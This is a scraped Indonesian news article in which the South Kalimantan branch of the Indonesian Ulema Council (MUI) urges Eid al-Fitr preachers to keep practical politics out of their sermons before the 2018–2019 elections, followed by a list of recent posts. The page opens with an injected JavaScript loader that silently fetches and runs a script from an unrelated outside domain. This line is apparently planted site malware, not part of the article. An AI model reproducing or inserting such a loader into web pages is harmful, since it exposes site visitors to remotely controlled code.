(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
RELIGI

MUI Kalsel Larang Khotbah Salat Id Disisipi Isu Politik Praktis


BANJARMASIN, Sekretaris Majelis Ulama Indonesia (MUI) Kalimantan Selatan, Fadli Mansur, mengingatkan khatib salat Idul Fitri dilarang menyelipkan materi khotbah dengan isu politik praktis. Fadli perlu mengingatkan hal ini karena mendekati momentum Pemilu 2019 dan Pilkada 2018.

Fadli berkata para khatib salat Id senantiasa menyiarkan khotbah yang sejuk, dan tidak menyimpang dari tema agama Islam. “Jangan menyisipkan hal-hal yang di luar konteks suasana Idul Fitri, khutbah jangan ditarik ke ranah politik,” kata Fadli Mansyur.

Fadli mengatakan, keberadaan khatib di Kalsel sudah professional, netral dan lebih mengedepankan kepentingan umat. Meski tahun 2018 memang dekat dengan tahun politik nasional pilkada, pilpres, pileg, ia berharap perbedaan aspirasi politik jangan memicu permusuhan. Demikian dilansir kumparan.com.

Untuk itu, ia mengimbau para khatib jangan terjebak dengan khotbah bernuansa politik praktis yang bisa menimbulkan perpecahan umat Islam. Kata Fadli, khatib hendaknya menyampaikan khotbah yang bertujuan meningkatkan ketakwaan, kewaspadaan terhadap bahaya terorisme, bahaya perbuatan asusila, bahaya LGBT, bahaya narkoba, meningkatkan persaudaraan, dan menyemai kedamaian.

Fadli mengatakan semua ulama dan khatib hendaknya mengacu dan memedomani hasil Ijtima’ Ulama Komisi Fatwa MUI VI yang sudah menghasilkan 24 fatwa dari pembahasan empat komisi fatwa di Majelis Ulama Indonesia. Isu bahasan mencakup kebangsaan, perundang-undangan, dan fiqih kontemporer.

Misalnya, ada fatwa ihwal kewajiban setiap umat Islam untuk bela negara di tengah segelintir orang yang pesimis terhadap masa depan negara bangsa Indonesia. Selain itu, MUI melarang politisasi agama di ruang publik dan masjid. “Masjid sebagai tempat ibadah bagi semua umat muslim dari beragam aliran partai politik. Politisasi agama di masjid berpotensi memecah belah umat Islam,” ujarnya. (ammar/kum)

Reporter: Ammar/kum
Editor: Chell

Desy Arfianty

Recent Posts

“Embroidery Mini Class” Perayaan Hari Kartini di Lingkungan PLN UIP3B Kalimantan

KANALKALIMANTAN.COM, BANJARBARU - Memperingati Hari Kartini 2024 PT PLN (Persero) Unit Induk Penyaluran dan Pusat… Read More

3 jam ago

Sejarah Hari Tari Sedunia 29 April

KANALKALIMANTAN.COM – Setiap tanggal 29 April diperingati salah satu seni atau ekspresi diri yang tertua… Read More

6 jam ago

Peringati Hari Tari Sedunia, Ratusan Penari Tampil di Taman Budaya Kalsel

KANALKALIMANTAN.COM, BANJARMASIN - Unit Pelaksana Teknis Daerah (UPTD) Taman Budaya Provinsi Kalimantan Selatan (Kalsel) menyelenggarakan… Read More

6 jam ago

Rakerda KNPI Banjarbaru, Rekomendasi Pendirian Gedung Pemuda

KANALKALIMANTAN.COM, BANJARBARU - Dewan Pengurus Daerah (DPD) Komite Nasional Pemuda Indonesia (KNPI) Kota Banjarbaru menggelar… Read More

8 jam ago

Peringati Hari Kartini, PLN Beri Santunan 30 Muslimah Tangguh di Banjarbaru

KANALKALIMANTAN.COM, BANJARBARU - Semangat memperingati Hari Kartini 2024, PT PLN (Persero) Unit Induk Penyaluran dan… Read More

10 jam ago

Konser Malam Pestaforia Kapuas 2024

KANALKALIMANTAN.COM, KUALA KAPUAS – “Konser Malam Pestaforia Kapuas 2024” menyemarakan Hari Jadi ke-218 Kota Kuala… Read More

11 jam ago

This website uses cookies.